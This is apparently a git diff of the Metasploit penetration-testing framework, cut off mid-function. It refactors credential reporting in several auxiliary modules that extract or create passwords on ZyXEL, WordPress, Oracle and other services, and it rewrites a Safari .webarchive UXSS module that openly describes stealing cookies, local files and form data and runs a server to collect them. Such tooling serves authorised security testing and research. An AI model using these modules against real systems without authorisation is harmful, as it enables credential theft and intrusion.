print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
||||
print_line(wlan_geolocate_opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
log = client.android.wlan_geolocate
|
||||
wlan_list = []
|
||||
log.each do |x|
|
||||
mac = x['bssid']
|
||||
ssid = x['ssid']
|
||||
ss = x['level']
|
||||
wlan_list << [mac, ssid, ss.to_s]
|
||||
end
|
||||
|
||||
if wlan_list.blank?
|
||||
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||
return
|
||||
end
|
||||
g = Rex::Google::Geolocation.new
|
||||
|
||||
wlan_list.each do |wlan|
|
||||
g.add_wlan(*wlan)
|
||||
end
|
||||
begin
|
||||
g.fetch!
|
||||
rescue RuntimeError => e
|
||||
print_error("Error: #{e}")
|
||||
else
|
||||
print_status(g.to_s)
|
||||
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Android'
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -81,6 +81,7 @@ module Console::InteractiveChannel
|
||||
data = self.lsock.sysread(16384)
|
||||
|
||||
self.on_print_proc.call(data.strip) if self.on_print_proc
|
||||
self.on_log_proc.call(data.strip) if self.on_log_proc
|
||||
user_output.print(data)
|
||||
end
|
||||
|
||||
@@ -91,6 +92,8 @@ module Console::InteractiveChannel
|
||||
self.lsock
|
||||
end
|
||||
|
||||
attr_accessor :on_log_proc
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -58,7 +58,6 @@ class Client
|
||||
'method_random_case' => 'bool',
|
||||
'version_random_valid' => 'bool',
|
||||
'version_random_invalid' => 'bool',
|
||||
'version_random_case' => 'bool',
|
||||
'uri_dir_self_reference' => 'bool',
|
||||
'uri_dir_fake_relative' => 'bool',
|
||||
'uri_use_backslashes' => 'bool',
|
||||
@@ -586,8 +585,8 @@ class Client
|
||||
|
||||
begin
|
||||
|
||||
buff = conn.get_once(-1, 1)
|
||||
rv = resp.parse( buff || '' )
|
||||
buff = conn.get_once(resp.max_data, 1)
|
||||
rv = resp.parse(buff || '')
|
||||
|
||||
# Handle unexpected disconnects
|
||||
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||
|
||||
@@ -52,7 +52,6 @@ class ClientRequest
|
||||
'method_random_case' => false, # bool
|
||||
'version_random_valid' => false, # bool
|
||||
'version_random_invalid' => false, # bool
|
||||
'version_random_case' => false, # bool
|
||||
'uri_dir_self_reference' => false, # bool
|
||||
'uri_dir_fake_relative' => false, # bool
|
||||
'uri_use_backslashes' => false, # bool
|
||||
@@ -344,10 +343,6 @@ class ClientRequest
|
||||
ret = Rex::Text.rand_text_alphanumeric(rand(20)+1)
|
||||
end
|
||||
|
||||
if (opts['version_random_case'])
|
||||
ret = Rex::Text.to_rand_case(ret)
|
||||
end
|
||||
|
||||
ret << "\r\n"
|
||||
end
|
||||
|
||||
|
||||
@@ -75,6 +75,15 @@ module Color
|
||||
str.gsub!(/%und/, pre_color+colorize('underline')+post_color)
|
||||
str.gsub!(/%bld/, pre_color+colorize('bold')+post_color)
|
||||
str.gsub!(/%clr/, pre_color+colorize('clear')+post_color)
|
||||
# Background Color
|
||||
str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color)
|
||||
str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color)
|
||||
str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color)
|
||||
str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color)
|
||||
str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color)
|
||||
str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color)
|
||||
str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color)
|
||||
str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color)
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
@@ -426,6 +426,7 @@ module DispatcherShell
|
||||
else
|
||||
dispatcher.send('cmd_' + method, *arguments)
|
||||
end
|
||||
ensure
|
||||
self.busy = false
|
||||
end
|
||||
|
||||
|
||||
@@ -203,6 +203,10 @@ class Table
|
||||
cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index])
|
||||
elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/
|
||||
cmp = a[index].to_i <=> b[index].to_i
|
||||
elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4?
|
||||
cmp = 1
|
||||
elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6?
|
||||
cmp = -1
|
||||
else
|
||||
cmp = a[index] <=> b[index] # assumes otherwise comparable.
|
||||
end
|
||||
|
||||
@@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.7'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.9'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
||||
@@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return nil
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Trying to find the service desk service strong name...")
|
||||
@@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
login_url = ssl ? "https://" : "http://"
|
||||
login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp"
|
||||
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => datastore["USERNAME"],
|
||||
:pass => datastore["PASSWORD"],
|
||||
:type => "password",
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:proof => "#{login_url}\n#{res.body}"
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
user: datastore['USERNAME'],
|
||||
password: datastore['PASSWORD'],
|
||||
proof: "#{login_url}\n#{res.body}"
|
||||
)
|
||||
|
||||
print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
|
||||
print_status("#{peer} - Use it to log into #{login_url}")
|
||||
end
|
||||
|
||||
@@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||
@@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
vprint_good("user: #{@user}")
|
||||
vprint_good("pass: #{pass}")
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => @user,
|
||||
:pass => pass,
|
||||
:active => true
|
||||
)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'http',
|
||||
user: @user,
|
||||
password: pass,
|
||||
proof: line
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
|
||||
|
||||
@@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
pass = $1
|
||||
pass = Rex::Text.decode_base64(pass)
|
||||
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
sname: 'http',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: line
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
@@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary
|
||||
print_status("Authenticating as: " << user)
|
||||
begin
|
||||
nsc.login
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => prot,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => '',
|
||||
:active => true
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: prot,
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
|
||||
rescue
|
||||
|
||||
@@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
datastore["PASSWORD"]
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
if user == pass
|
||||
@@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res and res.code == 200 and res.body =~ /Administrator account created/
|
||||
print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'http',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:proof => res.body
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'http',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.body
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - Admin account creation failed")
|
||||
|
||||
@@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
table_prefix
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
username = Rex::Text.rand_text_alpha(10)
|
||||
password = Rex::Text.rand_text_alpha(20)
|
||||
@@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
# login successfull
|
||||
if cookie
|
||||
print_status("#{peer} - User #{username} with password #{password} successfully created")
|
||||
report_auth_info(
|
||||
sname: 'WordPress',
|
||||
host: rhost,
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: username,
|
||||
pass: password,
|
||||
active: true
|
||||
)
|
||||
password: password,
|
||||
service_name: 'WordPress',
|
||||
proof: cookie
|
||||
)
|
||||
else
|
||||
print_error("#{peer} - User creation failed")
|
||||
return
|
||||
|
||||
@@ -7,8 +7,8 @@ require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize
|
||||
super(
|
||||
@@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
print_status("Trying to get 'admin' user password ...")
|
||||
@@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
else
|
||||
admin_password = admin_password_matches[1];
|
||||
print_good("Password for user 'admin' is: #{admin_password}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "ZyXEL GS1510-16",
|
||||
:user => 'admin',
|
||||
:pass => admin_password,
|
||||
:active => true
|
||||
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'ZyXEL GS1510-16',
|
||||
user: 'admin',
|
||||
password: admin_password,
|
||||
proof: res.body
|
||||
)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
|
||||
@@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
parse_configuration(config[:data])
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def little_endian?
|
||||
@@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@credentials.each do |k,v|
|
||||
next unless v[:user] and v[:password]
|
||||
print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}")
|
||||
auth = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => v[:user],
|
||||
:pass => v[:password],
|
||||
:type => 'password',
|
||||
:source_type => "exploit",
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(auth)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: v[:user],
|
||||
password: v[:password],
|
||||
service_name: 'sercomm',
|
||||
proof: v.inspect
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
return if not check_dependencies
|
||||
|
||||
@@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
break
|
||||
end
|
||||
else
|
||||
report_auth_info(
|
||||
:host => "#{datastore['RHOST']}",
|
||||
:port => "#{datastore['RPORT']}",
|
||||
:sname => 'oracle',
|
||||
:user => "#{datastore['SID']}/#{datastore['DBUSER']}",
|
||||
:pass => "#{datastore['DBPASS']}",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'oracle',
|
||||
user: "#{datastore['SID']}/#{datastore['DBUSER']}",
|
||||
password: datastore['DBPASS']
|
||||
)
|
||||
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
|
||||
end
|
||||
|
||||
@@ -4,28 +4,28 @@
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/format/webarchive'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Format::Webarchive
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
|
||||
attr_accessor :scripts_to_poison
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apple Safari .webarchive File Format UXSS',
|
||||
'Name' => 'Mac OS X Safari .webarchive File Format UXSS',
|
||||
'Description' => %q{
|
||||
This module exploits a security context vulnerability that is inherent
|
||||
in Safari's .webarchive file format. The format allows you to
|
||||
specify both domain and content, so we can run arbitrary script in the
|
||||
context of any domain. This allows us to steal cookies, file URLs, and saved
|
||||
passwords from any website we want -- in other words, it is a universal
|
||||
cross-site scripting vector (UXSS). On sites that link to cached javascripts,
|
||||
we can additionally poison user's browser cache and install keyloggers.
|
||||
Generates a .webarchive file for Mac OS X Safari that will attempt to
|
||||
inject cross-domain Javascript (UXSS), silently install a browser
|
||||
extension, collect user information, steal the cookie database,
|
||||
and steal arbitrary local files.
|
||||
|
||||
When opened on the target machine the webarchive file must not have the
|
||||
quarantine attribute set, as this forces the webarchive to execute in a
|
||||
sandbox.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'joev',
|
||||
@@ -34,785 +34,51 @@ class Metasploit3 < Msf::Auxiliary
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 22 2013',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'WebServer'
|
||||
],
|
||||
'Actions' => [ [ 'WebServer' ] ],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']),
|
||||
OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']),
|
||||
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
|
||||
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
|
||||
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
|
||||
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
|
||||
OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]),
|
||||
OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]),
|
||||
OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true])
|
||||
],
|
||||
self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if should_install_keyloggers?
|
||||
print_status("Fetching URLs to parse and look for cached assets...")
|
||||
self.scripts_to_poison = find_cached_scripts
|
||||
if datastore["URIPATH"].blank?
|
||||
datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
|
||||
end
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||
file_create(webarchive_xml)
|
||||
print_status("Running WebServer...")
|
||||
start_http
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
# clear my resource, deregister ref, stop/close the HTTP socket
|
||||
begin
|
||||
@http_service.remove_resource(collect_data_uri)
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
# set.
|
||||
#
|
||||
def use_zlib
|
||||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||||
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response. Code borrorwed from:
|
||||
# msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['SRVPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => collect_data_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# Add path to download
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
resp = Rex::Proto::Http::Response::OK.new
|
||||
resp['Content-Type'] = 'application/x-webarchive'
|
||||
resp.body = @xml.to_s
|
||||
cli.send_response resp
|
||||
},
|
||||
'Path' => webarchive_download_url
|
||||
}.update(opts['Uri'] || {})
|
||||
@http_service.add_resource(webarchive_download_url, uopts)
|
||||
|
||||
print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}")
|
||||
|
||||
# As long as we have the http_service object, we will keep the ftp server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
exploit
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
begin
|
||||
data_str = if request.body.size > 0
|
||||
request.body
|
||||
else
|
||||
request.qstring['data']
|
||||
if request.method =~ /post/i
|
||||
data_str = request.body.to_s
|
||||
begin
|
||||
data = JSON::parse(data_str || '')
|
||||
file = record_data(data, cli)
|
||||
send_response_html(cli, '')
|
||||
print_good "#{data_str.length} chars received and stored to #{file}"
|
||||
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
|
||||
file = record_data(data_str, cli)
|
||||
print_error "Invalid JSON stored in #{file}"
|
||||
send_response_html(cli, '')
|
||||
end
|
||||
data = JSON::parse(data_str || '')
|
||||
file = record_data(data, cli)
|
||||
send_response_html(cli, '')
|
||||
print_good "#{data_str.length} chars received and stored to #{file}"
|
||||
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
|
||||
print_error "Invalid JSON received: #{data_str}"
|
||||
send_not_found(cli)
|
||||
else
|
||||
send_response(cli, webarchive_xml, {
|
||||
'Content-Type' => 'application/x-webarchive',
|
||||
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] data the data to store in the log
|
||||
# @return [String] filename where we are storing the data
|
||||
def record_data(data, cli)
|
||||
@client_cache ||= Hash.new({})
|
||||
@client_cache[cli.peerhost]['file'] ||= store_loot(
|
||||
"safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data"
|
||||
if data.is_a? Hash
|
||||
file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')
|
||||
end
|
||||
store_loot(
|
||||
file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
|
||||
)
|
||||
file = @client_cache[cli.peerhost]['file']
|
||||
|
||||
@client_cache[cli.peerhost]['data'] ||= []
|
||||
@client_cache[cli.peerhost]['data'].push(data)
|
||||
data_str = JSON.generate(@client_cache[cli.peerhost]['data'])
|
||||
|
||||
File.write(file, data_str)
|
||||
|
||||
file
|
||||
end
|
||||
|
||||
### ASSEMBLE THE WEBARCHIVE XML ###
|
||||
|
||||
# @return [String] contents of webarchive as an XML document
|
||||
def webarchive_xml
|
||||
return @xml if not @xml.nil? # only compute xml once
|
||||
@xml = webarchive_header
|
||||
urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) }
|
||||
